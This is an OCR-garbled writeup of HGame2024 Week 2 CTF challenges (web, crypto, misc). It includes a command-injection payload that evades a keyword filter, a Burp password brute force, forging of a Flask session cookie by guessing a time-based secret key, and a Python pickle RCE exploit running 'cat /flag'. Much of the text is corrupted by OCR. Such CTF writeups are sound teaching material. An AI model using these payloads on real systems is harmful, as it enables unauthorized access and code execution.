HGame2024 Week2 Writeup

Web
What the cow say?

BENEBNlinuxd$icowsay

Cowsay What?

cowsay: ‘ hello world ‘ | Submit |

< hello world >

\ I\_I\
\ (o0)\
(N JAVAN

[ == |

ERXNESH, HATLIASORIT—Ea<, TEF, adiEA.

Cowsay What?

cowsay: | $(Is /) | Submit |

/ app bin boot dev etc flag_is_here home \
| 1ib 1ib64 media mnt opt proc root run |

\ sbin srv sys tmp usr var /
\ A_A
\ (oo)\
(N PAVA
[]----w |

[l [
BRXETRE T waf, BEXEFRISREFERLNGRY. 2=, cat, flag, \XEEBHITIET .

Cowsay What?

cowsay: $(cat /flag) | Submit

Wt >
\ A_I\
\ (e0)\

(N )AYAN

[ ---w |


af://n0
af://n2
af://n3

(ERFRIE, RIS, #HEflag

Cowsay What?

cowsay: ‘$(Is /fl'a'g_is_here) | | Submit |

< flag_cews4y >

Cowsay What?

| Submit |

cowsay: ‘ $(c'a't /fl'a'g_is_here/fl'a'g.

/ hgame{C@wsay_be_c4re_aBout_ComMand_Inje \
\ ctien} /
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Burp Suite Professional v1.7.37 - Temporary Project - licensed to surferxyz
Burp Intruder Repeater Window Help

Target | Froxy | Spider | Scanner

Repeater | Sequencer | Decoder | Comparer | Extender | Project options | User options | Averts |

[on [ [rrow [ |

@ Payload Positions

into the quest. The attack typ yin

positions - see help for full details

Aftack type: | Sniper

POST /api/auth/login HITP/1.1
Host: 106.14.57.14:32107

User-Agent: Mozilla/5.0 (Windows NT 10.0; Winéd; x64; rv:122.0) Gecko/20100101 Firefox/122.0
Accep: */*

Accept-Language: zh-CN,zh;q=0.8,2h-TW;q=0.7,2h-HK;q=0. 5, en-US; q=0.3,en;q=0.2
Accept-Bncoding: gzip, deflate

Referer: http://106.14.57.14:32107/1ogin

Content-Type: application/json

Content-Length: 38
Origin: htep://106.14.57.1
Connection: close

Cookie: session=HT| 2 v

2107

(“username®: *naShr00a", "password®: *§Is})

1MzyEZ]ekz]sgVB1SH24NaEydE1znG

T

1 payload position

L
éﬁ'v@v

Length: 642

BYo R %
ey

Burp Suite Professional v1.7.37 - Temporary Project - licensed to surferxyz
Burp Intruder Repeater Window Help

[ Target [ 7o | spider [ scanner | itruder | Repeater | Sequencer | ecoder [ comparer | extender | project options | user options | Acr |

(@) Payload Sets

You can more The number of

depends on the attack type Posttions tab. Various

Payload set. |1 B

Payload type: | Simple list

Payload count: 10,000

Request count: 10,000

(2) Payload Options [Simple list

This payload type lets you configure a simple st of strings that are used as payloads.

Paste | 123456
123456789
Load 123456
———— | a123456789
Remove | | 12345 "
——— |11
Cear | 12123
‘woaini1 314 v
Add ter a new item
| Add from list ... a

(2) Payload Processing

You can define rules to perform tis used.

Enabled | Rule.

Add |
ek
| Remove >
f—

Up

(oown]

available for and

type can be

ways.

(2) Payload Encoding

Thi to URL.

within the. for ‘within HTTP requests.




B! Intruder attack 4 — O X

Attack Save Columns
Hﬁrgd | Postions | Paylioads | options |
| Fitter: Showing all tems |

Request | Payload |Status  |Error | Timeout |Length ¥ | Comment

760 qwert123 200 a O 418 F
0 401 8] O 180 D
1 123456 401 @] O 180

2 123456789 401 a O 180

3 a123456 40 @] O 180

4 123456789 401 a O 180

5 12345 401 a O 180

6 111111 401 9] O 180

7 123123 401 a O 180

8 woaini1 314 401 ] O 180

] zxcvbnm 401 g @] 180 ’

10 qq123456 401 o O 180 v

|

P R ———

Zraqwert123, BREY S5, &7 irace against time

@ 106.14.57.14:32107
BIEERET: Race against time!

[ 7RseiF 106.14.57.14:32107 BREEHRT

RURRH LR, RERR EE—#. . . B7T—FEK, XMERENREGRS.
G EA—, [RTHERAUEERREHMT



Intruder attack 5 - O X

Attack Save Columns

| | Resuts | Target | postions | Payioads | options |

| Fitter: Showing all tems | @
|Request 4| Payload |Status | Error | Timeowt | Length Comment

0 200 @] O 195 F
1 nul 200 @] O 185 D
2 nul 200 9] o 185

3 null 200 g (0] 195

4 null 200 9] o 185

5 null 200 ] o 195

3 nul 200 9] o 195

7 nul 200 ] g 195

8 nul 200 9] O 195

9 nul 200 @] o 185

10 nul 200 @] o 195 )
11 nul 200 Q O 195 v

S R ———
REATLERIREFPEEWN ST, BRERMT

@ 106.14.57.14:32107

B! BURAAIRENALN:
hgame{5ak p45sWOrD_& r4Ce_cOnDIT10n}

myflask
ERSHIR BN, THTRaskBRORE, RE:

import pickle

import base64

from flask import Flask, session, request, send_file
from datetime import datetime


af://n137

from pytz import timezone

currentDateAndTime = datetime.now(timezone('Asia/Shanghai'))
currentTime = currentDateAndTime.strftime("%H%M%S™)

app = Flask(__name__)

# Tips: Try to crack this first |
app.config['SECRET_KEY'] = currentTime
print(currentTime)

@app.route('/")

def index():
session['username'] = 'guest'
return send_file('app.py')

@app.route('/flag', methods=['GET', 'POST'])
def flag(Q):
if not session:
return 'There is no session available in your client :('
if request.method == 'GET':
return 'You are {} now'.format(session['username'])

# For POST requests from admin

if session['username'] == 'admin':
pickle_data=base64.b64decode(request.form.get('pickle_data'))
# Tips: Here try to trigger RCE
userdata=pickle.loads(pickle_data)
return userdata

else:
return 'Access Denied'

if _name_=="_main__":
app.run(debug=True, host="0.0.0.0")

BB EEE— M sessionfhits, SECRET_KEYEFFSIRERIATE,
SR EHEFISECRET_KEY, F=E—TATE, Fah=iRtana],



<« C @ O Q 106.14.57.14:327 2 L @ 8 & O =
Deats. Daemss QFFrl O @Rt © surs Derigs bivss
You are guest now
R Ozaz Oesa OBde Nme (Ortmez Owe Ows Bk AW0Rs 5 NHF & MaxHackBar 4] e X
B cookie mEdEE + Q@ i
@ http://106.14.57.14:32722 B & Domain Path Expires / Max-Age  A/N HttpOnly Secure SameSite &/=i5) g
i session:"ey)1c2VybmFtZSI61...n73QUAWCSFJ6xeog”
SIEGH y) 'yt g
B indexed DB Domain:"106.14.57.14"
Expires / Max-Age:"£3%"
B wiwwh HostOnlytrue
B swmm HttpOnly:true
Path:"/"

SameSite:"None"
Secure:false
BIE2F:"Mon, 12 Feb 2024 07:24:20 GMT*

B “Mon, 12 Feb 2024 07:24:20 GMT*

FRATHE

C:\Users\jyzho\Desktop\htdck3r t0015\flask-session-cookie-manager>python flask_session_cookie_manager3.py decode
c2VybmFtZSI6Imd1ZXNOInO.ZcnHow. 7BvfpSa7bIzn73QU4WCSFJI6xeog" —s "152400"
[Decoding error] Signature b'7BvfpSa7bIzn73QUUWCSFJI6xeog' does not match

C:\Users\jyzho\Desktop\htdck3r t0015\flask-session-cookie-manager>python flask_session_cookie_manager3.py decode
c2VybmFtZSI6Imd1ZXNOIn@.ZcnHow. 7BvfpSa7bIzn73QUUWCSFI6xeog” -s "152401"
[Decoding error] Signature b'7BvfpSa7bIzn73QUUWCSFJI6xeog' does not match

C:\Users\jyzho\Desktop\htdck3r t0015\flask-session-cookie-manager>python flask_session_cookie_manager3.py decode
c2VybmFtZSI6Imd1ZXNOIn®.ZcnHow. 7BvfpSa7bIzn73QUUWCSFI6xeog” —-s "152u402"
[Decoding error] Signature b'7BvfpSa7bIzn73QU4WCSFI6xeog' does not match

C:\Users\jyzho\Desktop\htdck3r t0015\flask-session-cookie-manager>python flask_session_cookie_manager3.py decode
c2VybmFtZSI6Imd1ZXNOINnO.ZcnHow. 7BvfpSa7bIzn73QUUWCSFI6xeog” —-s "152u403"
{'username': 'guest'}

SRS mitEsession, AT usernametJiagadmin

C:\Users\jyzho\Desktop\htdck3r t0015\flask-session-cookie-manager>python flask_session_cookie_manager3.py encode -t "{'us

ername’':'admin'}" -s "152403"
eyJlec2VybmFtZSI6ImFKkbWluIn®.ZenIxg.2vevd3YiGT6idnmPGLS3HegIMrA

& Burp Suite Professional v1.7.37 - Temporary Project - licensed to surferxyz

Burp Intruder Repeater Window Help

[ Target I [ spider | scanner ] Intruder W Sequencer ] Decoder | Comparer | Extender | Project options I User options. ] ‘
1l
& Target: hepun06.1a57.1432122 | 4] [ 2]

Raw | Headers | Hex |

X HTTP/L.L 200 OK a
Server: W r
0.8,2h-TW;q=0.7, zh-HK;q=0. 5, en-US;q=0. 3, en; q=0.2 You are admin now
ip, deflate
pmFEZS16InFibWlulng. Zenlxg. Svev43YiGT6: AnmPG1S3HegINrA
Upgrade-Insecure-Requests: 1 1
3 = ° & L
v (oL '!EBvoR X

(2)(<](+][> 0 matches 2l [+ )[2] 0 matches

Done 204 bytes | 31 millis



IERposttEE—"picklefRFl{tFbase6ARISRIEHE. XBEIN THRBMIIE, KITFRKAVZEESA
pickle FFIMHEARNRFTRBEXAN, XEEMAlnux; EBRA—ERE, AT urlfhHEZER
—H#RBDNSIER, REEREFKAIFEETEN, XMTRABRFHMAY. BT RBEEEE, exp:

import pickle
import base64

class genpoc(object):
def __reduce__(self):

s = "__import_('os').popen('cat /flag').read(Q"

return eval, (s,)

e = genpoc()

poc = pickle.dumps(e, protocol=0)

print(base64.b64encode(poc))

x2&155flag

I Burp Suite Professional v1.7.37 - Temporary Project - licensed to surferxyz
Burp Intruder Repeater Window Help

[t-gq P Spider | Scanner | intruder | Repeater | Sequencer | Decoder | comparer | Extender | Project options | user options | Alerts

Go ancel <|v > Target: http:/106.14.57.14:32722 m CJ
Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex

POST /flag HTTP/1.1

i
Host: 106.14.57.14:32722 P
User-Agent: Mozilla/5.0 (Windows NT 10.0; Wingd; x64; rv:122.0)

ecko/20100101 Firefox/122.0

©

application/xhtml+xnl,application/xul;q=0.9,image/avif, inage/ve
8

ge
8,2h-TW;q=0.7,2h-HK; q=0.5,en-US;q=0.3,en; q=0. 2
gzip, deflate

2vev43YiGTEL4nmPC1S3HegIMEA

pickle_data=Y1S fVnVpbHRpb1S £CuV2YWWKeDAKKFZ £X21t cGydF S FKCdveyepLnByeGVuk
Cd3YXQgL225YWenKS SyZWFRKCRKeDEKAHAYC 1 JwMwou

b
v

ubwu Type a search tey 0 matches

Done

Crypto
midRSA

A H

from Crypto.Util.number import

from secret import flag

def padding(flag):

00 0K
rirzeug/3.0.1 Python/3.11.7
12 Feb 2024 07:41:59 GHT
text/html; charset=utf-g

hgame{1326947e43desTalscfe1694a381840chabb20bb}

o3

ISERELI YL

¥

return flag+b'\xff'*(64-1en(flag))

flag=padding(flag)
m=bytes_to_Tlong(flag)
p=getPrime(512)

0 matches

235 bytes | 32 mills


af://n26
af://n27

g=getPrime(512)
e=3

n=p*q
c=pow(m,e,n)
mO=m>>208

print(f'n={n}")
print(f'c={c}")
print(f'mo={m0}")

n=120838778421252867808799302603972821425274682456261749029016472234934876266617
26634639990970574286245897057563766405918961361895688043007877489247925630120969
53233027872215085564811962814206760741162724952780972759276048573364845647774044
97914572606299810384987412594844071935546690819906920254004045391585427
c=118961547254465282603128910126369011072248057317653811110746611348016137361383
01792146539576697712960143550859000659975574081807130392922757850441296751346892
11916893573670452861900402516950947065644437213932161855637279512564146496255979
50957960429709583109707961019498084511008637686004730015209939219983527
m0=13292147408567087351580732082961640130543313742210409432471625281702327748963
274496942276607

(AEFRHARR)

ABREHYF, BEXImO#Tlong_to_bytesgial LAHZZE

from Crypto.Util.number import *

mo =
13292147408567087351580732082961640130543313742210409432471625281702327748963274
496942276607

print(long_to_bytes(m0))

b'hgame{@ther_cas3s_0f_ceppr3smith}\xff\xff\xff\xff\xff

(FREARE)
LT mESERDERIMO0, Hobne XEBEELH, BARBcoppersmith

exp:

n =
12083877842125286780879930260397282142527468245626174902901647223493487626661726
63463999097057428624589705756376640591896136189568804300787748924792563012096953
23302787221508556481196281420676074116272495278097275927604857336484564777404497
914572606299810384987412594844071935546690819906920254004045391585427

e =3

m = randrange(n)

C pow(m, e, n)

beta = 1

epsilon = betaA2/9

nbits = n.nbits()

kbits floor(nbits*(betaA2/e-epsilon))


af://n31
af://n35

mbar
=0x6867616d657b30746865725f63617333735f30665f633070707233736d6974687dffffffffff0
000000000000000000000000000000000000000000000000000

C
=1189615472544652826031289101263690110722480573176538111107466113480161373613830
17921465395766977129601435508590006599755740818071303929227578504412967513468921
19168935736704528619004025169509470656444372139321618556372795125641464962559795
0957960429709583109707961019498084511008637686004730015209939219983527

print ("upper %d bits (of %d bits) is given" % (nbits-kbits, nbits))

PR.<x> = PolynomialRing(zmod(n))

f = (mbar + x)Ae - ¢

x0 = f.small_roots(X=2Akbits, beta=1)[0] # find root < 2Akbits with factor = nl
print (mbar + x0)

upper 797 bits (of 1024 bits) is given
54630722843456002845223550084791091690751160534021806899793800578091818985959276288428045753693335628454956066685424543696104680826073966
06970684163227647

from Crypto.Util.number import *
m=546807228434560028452235500847910916907511605340218068997988005780918189859592
7628842804575369333562845495606668542454369610468082607896606970684163227647
print(long_to_bytes(m))

b'hgame{@ther_cas3s_@&f c@ppr3smith}\xff\xff\xcfF\xFE\XFF\FE XX P\ XX\ \XF P\ AR\ \XF A XF X \XF X P\ XFF \ X F X FFAXFF\XFF\XFF
\xF FAXFFAXFF\XFF!

s
A

Y=

*

from Crypto.Util.number import
from secret import flag,e
m=bytes_to_Tlong(flag)
p=getPrime(64)

g=getPrime(256)

n=p**4%*q

k=getPrime(16)
gift=pow(e+114514+p**k,0x10001,p)

c=pow(m,e,n)

print(f'p={p}")

print(f'g={q}")

print(f'c={c}")

print(f'gift={gift}")

p=14213355454944773291
q=61843562051620700386348551175371930486064978441159200765618339743764001033297
c=105002138722466946495936638656038214000043475751639025085255113965088749272461
906892586616250264922348192496597986452786281151156436229574065193965422841
gift=9751789326354522940

BcEite, HAESSIE:


af://n42

b3/

(e+ nyaip+ pk ) 7ip

= e+ 119519 +/>“)7/)]
o ALY ’%/’
(ewwup)/f /T]t:rﬂ /)

< [letmvsnf /’JW AP
[etivsiy) g //’

\

\\

ISP KFHRBHARR, BEIEKRUEEE-1145145e

exp:

import gmpy2

from Crypto.Util.number import *
c =9751789326354522940

n = 14213355454944773291

E =0x10001

phi = 14213355454944773290

d gmpy2.invert(E,phi)

m = pow(c,d,n)

print(m)

HiHm=188075, {BEEE FRIEEHITER ZMefphiskAT¥7c, BT7THKEEM, XERe,
PhiFrEESHH, BEFERAAMMEERER,

exp:

from sympy.ntheory.residue_ntheory import nthroot_mod
from Crypto.Util.number import *
import gmpy?2
C =
10500213872246694649593663865603821400004347575163902508525511396508874927246190
6892586616250264922348192496597986452786281151156436229574065193965422841
p = 14213355454944773291
q:
61843562051620700386348551175371930486064978441159200765618339743764001033297

= p¥**4*q



e = 188075-114514

cp = chp

mp = nthroot_mod(cp,e,p)

cq = ¢ckq

mg = pow(cq,gmpy2.invert(e,q-1),q)

print(mqg,mp)
K = zZmod(p ** 4)
a = K(c)
m_list = a.nth_root(e, all = True)
for i in m_list:
m = CRT([int(mq),int(id], [q,p])
result = long_to_bytes(m)
if b'hgame{' in result:
print(result)
break

56508677452598422527495254643824809456987662661744158482130340636530761015689 150488416857226
b’ hgame {Adleman_Mand3r_Miller_M3thod}’

backpack

AE

from Crypto.Util.number import *
import random
from secret import flag
a=[getPrime(32) for _ in range(20)]
p=random.getrandbits(32)
assert len(bin(p)[2:])==32
bag=0
for i in a:

temp=p%?2

bag+=temp*i

p=p>>1

enc=bytes_to_long(flag)Ap

print(f'enc={enc}")

print(f'a={a}')

print(f'bag={bag}"')
enc=8711141725678534902974785701134493669887937601728446440075668249133500881481
62949968812541218339

a=[3245882327, 3130355629, 2432460301, 3249504299, 3762436129, 3056281051,
3484499099, 2830291609, 3349739489, 2847095593, 3532332619, 2406839203,
4056647633, 3204059951, 3795219419, 3240880339, 2668368499, 4227862747,
2939444527, 3375243559]

bag=45893025064

XERHAIBAEE. . .
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(AEFRHARR)

BT —TEFNER, XpRlREFHMEND. . . HiElenc#iTlong to_bytesHisF

from Crypto.Util.number import *

enc =
87111417256785349029747857011344936698879376017284464400756682491335008814816294
9968812541218339

print(long_to_bytes(enc))

b'hgame{M@ster_of ba3kpack_mdnag3ment!}\x00\x0e#"

(FiHARR)
B, BSHREEEN, XEABMZEEKp
HTEBFaAREBIEFY, FLAREER—MRITIER. AN EHE T —MIlEEERENTE.

exp:

import random

from collections import namedtuple

import gmpy?2

from Crypto.Util.number import isPrime, bytes_to_long, inverse, Tong_to_bytes
from sympy import nextprime

from tqdm import tqdm

pubkey=[3245882327, 3130355629, 2432460301, 3249504299, 3762436129, 3056281051,
3484499099, 2830291609, 3349739489, 2847095593, 3532332619, 2406839203,
4056647633, 3204059951, 3795219419, 3240880339, 2668368499, 4227862747,
2939444527, 3375243559]

c=45893025064

nbit=20

#BEHLAR — TS KRN

N=nextprime(gmpy2.iroot(nbit,2)[0]//2)

L=Matrix(QQ,nbit + 1, nbit + 1)

for i in range(nbit):
L[i,i]=1

for i in range(nbit):
L[i,nbit]=pubkey[i]*N

for i in range(nbit):
Llnbit,i1]=1/2

L[nbit,nbit]=c*N

print("LLL start")
res=L.LLLQ)
mm=""
for i in tqdm(range(0, nbit + 1)):
# print solution
M = res.row(i).TistQ [:-11#5/5 % K E 5 A HKO
flag = True
for m in M:


af://n60
af://n64

ifm I=1/2 and m != -1/2:#ME0GEE, WERE SO Ra8&-1/2H11/2
flag = False

break
if flag:
print (i, M)
for j in M:
if j==-1/2:#KHi5E-1/2R1/2WAMRFE i1
mm+="1"
else:
mm+="0"
flag=mm[::-1]
print(flag)
LLL start

100% | I EENEEEENE 21/21 [00:00<00:00, 19846.86it/s]

o [-1/2, -1/2, -1/2, -1/2, -1/2, -1/2, 1/2, -1/2, -1/2, -1/2, 1/2, 1/2, -1/2, 1/2, -1/2, -1/2, -1/2, -1/2, 1/2, 1/2]
00111101001110111111

EEDIpR—itHIZE, BT EBPERE—EREEpEM 70, FTARERIRIFFHAmRRITT A lagh]
a(

backpack revenge

2 H

from Crypto.Util.number import *
import random
import hashTib

a=[getPrime(96) for _ in range(48)]

p=random.getrandbits(48)

assert len(bin(p)[2:])==48
flag="hgame{'+hashlib.sha256(str(p).encode()) .hexdigest(+'}"

bag=0

for i in a:
temp=p%2
bag+=temp*i
p=p>>1

print(f'a={a}"')
print(f'bag={bag}')


af://n71

a=[74763079510261699126345525979, 51725049470068950810478487507,
47190309269514609005045330671, 64955989640650139818348214927,
68559937238623623619114065917, 72311339170112185401496867001,
70817336064254781640273354039, 70538108826539785774361605309,
43782530942481865621293381023, 58234328186578036291057066237,
68808271265478858570126916949, 61660200470938153836045483887,
63270726981851544620359231307, 42904776486697691669639929229,
41545637201787531637427603339, 74012839055649891397172870891,
56943794795641260674953676827, 51737391902187759188078687453,
49264368999561659986182883907, 60044221237387104054597861973,
63847046350260520761043687817, 62128146699582180779013983561,
65109313423212852647930299981, 66825635869831731092684039351,
67763265147791272083780752327, 61167844083999179669702601647,
55116015927868756859007961943, 52344488518055672082280377551,
52375877891942312320031803919, 69659035941564119291640404791,
52563282085178646767814382889, 56810627312286420494109192029,
49755877799006889063882566549, 43858901672451756754474845193,
67923743615154983291145624523, 51689455514728547423995162637,
67480131151707155672527583321, 59396212248330580072184648071,
63410528875220489799475249207, 48011409288550880229280578149,
62561969260391132956818285937, 44826158664283779410330615971,
70446218759976239947751162051, 56509847379836600033501942537,
50154287971179831355068443153, 49060507116095861174971467149,
54236848294299624632160521071, 64186626428974976108467196869]
bag=1202548196826013899006527314947

FARIERIbackpackTERfE—HHET T, XEARHEIR

exp:

import random

from collections import namedtuple

import gmpy?2

from Crypto.Util.number import isPrime, bytes_to_long, inverse, Tong_to_bytes
from sympy import nextprime

from tgdm import tqdm



pubkey=[74763079510261699126345525979, 51725049470068950810478487507,
47190309269514609005045330671, 64955989640650139818348214927,
68559937238623623619114065917, 72311339170112185401496867001,
70817336064254781640273354039, 70538108826539785774361605309,
43782530942481865621293381023, 58234328186578036291057066237,
68808271265478858570126916949, 61660200470938153836045483887,
63270726981851544620359231307, 42904776486697691669639929229,
41545637201787531637427603339, 74012839055649891397172870891,
56943794795641260674953676827, 51737391902187759188078687453,
49264368999561659986182883907, 60044221237387104054597861973,
63847046350260520761043687817, 62128146699582180779013983561,
65109313423212852647930299981, 66825635869831731092684039351,
67763265147791272083780752327, 61167844083999179669702601647,
55116015927868756859007961943, 52344488518055672082280377551,
52375877891942312320031803919, 69659035941564119291640404791,
52563282085178646767814382889, 56810627312286420494109192029,
49755877799006889063882566549, 43858901672451756754474845193,
67923743615154983291145624523, 51689455514728547423995162637,
67480131151707155672527583321, 59396212248330580072184648071,
63410528875220489799475249207, 48011409288550880229280578149,
62561969260391132956818285937, 44826158664283779410330615971,
70446218759976239947751162051, 56509847379836600033501942537,
50154287971179831355068443153, 49060507116095861174971467149,
54236848294299624632160521071, 64186626428974976108467196869]

€=1202548196826013899006527314947

nbit=48

#BENLH —DFF G 2R AFIIN
N=nextprime(gmpy2.iroot(nbit,2)[0]//2)
L=Matrix(QQ,nbit + 1, nbit + 1)

for i in range(nbit):
L[i,i]=1

for i in range(nbit):
L[i,nbit]=pubkey[i]*N

for i in range(nbit):
Llnbit,i]=1/2

L[nbit,nbit]=c*N

print("LLL start")
res=L.LLLQ)
mm="""
for i in tqdm(range(0, nbit + 1)):
# print solution
M = res.row(i).Tist() [:-1]#5/5 % KA F A0

flag = True
for m in M:
ifm = 1/2 and m != -1/2:#RIEWRIREE, KERSON Ha8-1/2511/2
flag = False
break

if flag:



print (i, M)
for j in M:
if j==-1/2:#A485E-1/2M1/ 20 /MR 31
mm+="1"
else:
mm+="0"
flag=mm[::-1]
print(flag)

LLL start
100% HNNEEEEEEE 29/49 [00:00<00:00, 138.24it/s]
0 [-1/2, 1/2, 1/2, 1/2, 1/2, -1/2, 1/2, 1/2, -1/2, 1/2, 1/2, 1/2, -1/2, -1/2, -1/2, 1/2, 1/2, 1/2, -1/2, -1/2, 1/2, 1/2, -1/2, 1/2, -1/2,

1/2, 1/2, 1/2, -1/2, 1/2, -1/2, 1/2, -1/2, 1/2, -1/2, -1/2, 1/2, -1/2, 1/2, 1/2, 1/2, 1/2, -1/2, 1/2, -1/2, -1/2, -1/2, -1/2]
111101000010110101010001010011000111000100100001

import hashlib
p=0b111101000010110101010001010011000111000100100001

p=int(p)
print('hgame{'+hashlib.sha256(str(p).encode()).hexdigest(O+'}")

hgame{94b1d9b9fb895379cd394348ec5333f999d4fd5e9c45e765161c434fa@a49991}

midRSA revenge

AH

from Crypto.Util.number import *
from secret import flag
m=bytes_to_long(flag)
p=getPrime(1024)
g=getPrime(1024)

e=5

n=p*q

c=pow(m,e,n)

mO0=m>>128

print(f'n={n}")
print(f'c={c}")
print(f'm0={m0}")

n=278143347281356719958903781547788226877138752696248431223534580596972888886405
72922486287556431241786461159513236128914176680497775619694684903498070577307810
26367728029411413592970874598840696330727976702896951530589520702828219354735641
48274190083937011584678185351095172130889208902363002816462887616978422806332853
55376389468360033584102258243058885174812018295460196515483819254913183079496947
30957439284837850424699154678125213986187650989447642052531725169595335575516478
98786029456158799657098719757708234844186656340501038525648195757569500476912053
55599004786541600213204423145854859214897431430282333052121
€c=456221314115867088638207203034494636244706611111621723577848729096069230067958
13266301862566144713150175868450263938320833284468193969812445918857181352714977
22924641395307367176197417049459260756320640721253615164356311218457531865592979
93355270779818057702973783391589851159114029310296551701456748698914231344835187
91755930544026956061332689320474812799925490210291960537036388958113672416409687
9573173870280806620454087466970358998654736755257023225078147018537101
m0=9999900281003357773420310681169330823266532533803905637


af://n80

FERTEIRIMIdRSATIERE— AT T, XEABIA

exp:

n =
27814334728135671995890378154778822687713875269624843122353458059697288888640572
92248628755643124178646115951323612891417668049777561969468490349807057730781026
36772802941141359297087459884069633072797670289695153058952070282821935473564148
27419008393701158467818535109517213088920890236300281646288761697842280633285355
37638946836003358410225824305888517481201829546019651548381925491318307949694730
95743928483785042469915467812521398618765098944764205253172516959533557551647898
78602945615879965709871975770823484418665634050103852564819575756950047691205355
599004786541600213204423145854859214897431430282333052121

e=5

m = randrange(n)
c = pow(m, e, n)
beta = 1

epsilon = betaA2/9
nbits = n.nbits()
kbits floor(nbits*(betaA2/e-epsilon))

mbar
=0x6867616d657b633070707233736d6974685F53743372650000000000000000000000000000000
0

C
=4562213141158670886382072030344946362447066111116217235778487290960692300679581
32663018625661447131501758684502639383208332844681939698124459188571813527149772
29246413953073671761974170494592607563206407212536151643563112184575318655929799
33552707798180577029737833915898511591140293102965517014567486989142313448351879
17559305440269560613326893204748127999254902102919605370363889581136724164096879
573173870280806620454087466970358998654736755257023225078147018537101

print ("upper %d bits (of %d bits) is given" % (nbits-kbits, nbits))

PR.<x> = PolynomialRing(zmod(n))

f = (mbar + x)Ae - c

x0 = f.small_roots(X=2Akbits, beta=1)[0] # find root < 2Akbits with factor = nl
print (mbar + x0)

upper 1866 hits (of 2048 bits) is given
3402789736593180236658155503802934243882633217001276110520820253391839278380462965966606922621

from Crypto.Util.number import *

m0 =
34027897365931802366581555038029342438826332170012761105208202533918392788804629
65966606922621

print(long_to_bytes(m0))

b*hgame{c@ppr3smith_St3re@typed m3ssag3s}’

Misc


af://n89

ek1ng_want_girlfriend

BERAGREDHT, FIFE—IRERHTTPMETY —KE R, BBAMSHHTIPR, EiEHMEE T flag

M capture.pcapng - @ X

P REE WEV) BEG) BIKO SR SN BIEY) BEW) TAEM B

Am @ REG QesEF S S S aaai

= cire )+

No. Time Source Destination Protocol  Length Info 2

20.000067 127.0.0.1 127.0.0.1 TCP 56 8000 - 44353 [SYN, ACK] Seq=0 Ack=1 Win=8192 Len=@ MSS=65495 WS=256 SACK_PERI
3 0.000110 127.0.0.1 127.0.0.1 TCP 44 44353 » 8000 [ACK] Seq=1 Ack=1 Win=2097920 Len=0

40.000385 127.0.0.1 127.0.0.1 TCP 56 44354 -» 8000 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 WS=256 SACK_PERM
50.000414 127.0.0.1 127.0.0.1 TCP 56 8000 - 44354 [SYN, ACK] Seq=0 Ack=1 Win=8192 Len=@ MSS=65495 WS=256 SACK_PERI
6 0.000442 127.0.0.1 127.0.0.1 TCP 44 44354 - 8000 [ACK] Seq=1 Ack=1 Win=2097920 Len=0

7 0.004394 127.0.0.1 127.0.0.1 HTTP 885 GET /eklng.jpg HTTP/1.1

80.004444 127.0.0.1 127.0.0.1 TCP 44 8000 » 44353 [ACK] Seq=1 Ack=842 Win=2097152 Len=0

9 0.006673 127.0.0.1 127.0.0.1 TCP 235 8000 - 44353 [PSH, ACK] Seq=1 Ack=842 Win=2097152 Len=191 [TCP segment of a
10 0.006713 127.0. 0.1 127.0.0.1 TCP 44 44353 > 8000 [ACK] Seq=842 Ack=192 Win=2097664 Len=0

11 0.007863 127.0.0.1 127.0.0.1 Tcp 580 8000 - 44353 [ACK] Seq=192 Ack=842 Win=2097152 Len=536 [TCP segment of a rea
12 0.007871 127.0.0.1 127.0.0.1 TCP 580 8000 - 44353 [ACK] Seq=728 Ack=842 Win=2097152 Len=536 [TCP segment of a rea
13 0.007875 127.0.0.1 127.0.0.1 TCP 580 8000 - 44353 [ACK] Seq=1264 Ack=842 Win=2097152 Len=536 [TCP segment of a re.
14 0.007878 127.0.0.1 127.0.0.1 TCP 580 8000 - 44353 [ACK] Seq=1800 Ack=842 Win=2097152 Len=536 [TCP segment of a re.
15 0.007882 127.0.0.1 127.0.0.1 TCP 580 8000 - 44353 [ACK] Seq=2336 Ack=842 Win=2097152 Len=536 [TCP segment of a re:
16 0.007886 127.0.0.1 127.0.0.1 TCcP 580 8000 » 44353 [ACK] Seq=2872 Ack=842 Win=2097152 Len=536 [TCP segment of a re.
17 ©.007889 127.0.0.1 127.0.0.1 TCP 580 8000 - 44353 [ACK] Seq=3408 Ack=842 Win=2097152 Len=536 [TCP segment of a re.
18 0.007892 127.0.0.1 127.0.0.1 TCP 580 8000 - 44353 [ACK] Seq=3944 Ack=842 Win=2097152 Len=536 [TCP segment of a re.
19 0.007896 127.0.0.1 127.0.0.1 TCcp 580 8000 - 44353 [ACK] Seq=4480 Ack=842 Win=2097152 Len=536 [TCP segment of a re.
20 0.007900 127.0.0.1 127.0.0.1 TCcP 580 8000 - 44353 [ACK] Seq=5016 Ack=842 Win=2097152 Len=536 [TCP segment of a re:

- 21 @.007903 127.0.0.1 127.0.0.1 TCP 580 8AAA » 44353 [ACKT Sea=5552 Ack=842 Win=2097152 |en=536 [TCP sesment of a m)a‘ v
Frame 1: 56 bytes on wire (448 bits), 56 bytes captured (448 bits) on interface \Device\NPF_Loopback, id 02 00 00 00 45 00 00 34 cb cc
Null/Loopback 7f 00 00 01 7f 00 00 01 ad 41
Internet Protocol Version 4, Src: 127.0.0.1, Dst: 127.0.0.1 00 00 00 00 80 02 fa fo 67 ff
Transmission Control Protocol, Src Port: 44353, Dst Port: 8000, Seq: @, Len: @ 01 63 @3 68 o1 o1 o4 02

< >l >

O 7 capture.pcapng $348: 4985 - B 4985 (100.0%) AE: Default

hgame{eklng_want_girlfriend_qq_761042182}

ezWord

FIFword X HERHRAE T RS, SAEEsERE & EMREE, binwalk—T, BEITRHK
F—MNE4EE— xS

binwalk -e word.docx --run-as=root
HEXADECIMAL DESCRIPTION

0x0 c a . X compressed : 357, uncompressed size: 1362, name: [Content_Types]
0x196 . X v 9, uncompressed size: 590, name:
uncompres siz 711, nam
, uncompres 747, nam
4, uncompres

65, uncompr 525, nam
uncompressed 1765
14, uncompr
320, uncompr

data, L . compre
0x3B4BOD Z /e data, L v2. compr 7 uncompr
0x3B521E a e data, v2. compressed e 0, uncompressed s
0x3B5809 of Zip archive,



af://n90
af://n94

media - Thunar

RIB(E) ME(V) FIRNG) #BEMB) FEIH)

1‘ A <« A root _word.docx.extracted word media

BECEERBRNKF, PTRSRSENRE,

- root

N EE
™ miFisiE E A
n

100191209_p0.jpg HE.txt imagel.png

P awis
4%
=%
il
Mmin
Tt

wsl

secret.zip

4 325%:3.7 MiB (3,879,058 1) | sTHZEE] : 935.2 GiB

